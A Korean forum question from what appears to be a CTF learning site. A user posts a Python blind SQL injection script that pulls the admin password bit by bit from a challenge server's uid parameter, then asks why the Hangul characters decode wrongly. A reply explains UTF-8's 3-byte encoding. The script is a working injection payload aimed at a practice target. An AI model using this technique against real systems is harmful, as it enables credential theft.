파이썬으로 bit로 찾으려고 시도했는데
import requests

keys=[]
for i in range(1,20):
    key=''
    for j in range(1,20):
        url=f"http://host3.dreamhack.games:9393/?uid=admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)='1"
        a=requests.get(url=url)
        if a.text.find('exists')!=-1:
            key+="1"
        else:
            url=f"http://host3.dreamhack.games:9393/?uid=admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)='0"
            a=requests.get(url=url)
            if a.text.find('exists')!=-1:
                key+="0"
            else:
                break
    keys.append(key)
print(keys)
    
results = []
for i in keys:
    result = 0
    length = len(i) - 1
    for j in i:
        if length == 0:
            result += int(j) * 1
        else:
            result += int(j) * (2 ** int(length))
            length -= 1
    results.append(result)
print(results)
key = ""
for i in results:
    key += chr(i)
print(key)

이렇게 작성하고 돌렸는데
['1000100', '1001000', '1111011', '1110110010011101101', '1110101010110010100', '1110110010011101101', '1110101110111001100', '1110101110110000100', '1110101110110010100', '1110110110011000101', '100001', '111111', '1111101', '0', '0', '0', '0', '0', '0']
[68, 72, 123, 484589, 480660, 484589, 482764, 482692, 482708, 486597, 33, 63, 125, 0, 0, 0, 0, 0, 0]
DH{񶓭񵖔񶓭񵷌񵶄񵶔񶳅!?}
왜 한글부분이 비트가 비정상적으로 많이 나오는지 모르겠어요
고수분들 제발 알려주세요!!

#web
작성자 정보
답변 1
kimht_
강의 수강: 1

UTF-8에서 한글 한 글자가 3바이트(24비트)이기 때문에 많이 나오는 것이 맞습니다.
보여주신 결과는 오히려 비트가 덜 구해진 것으로 보이네요

2022.08.06. 13:34
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기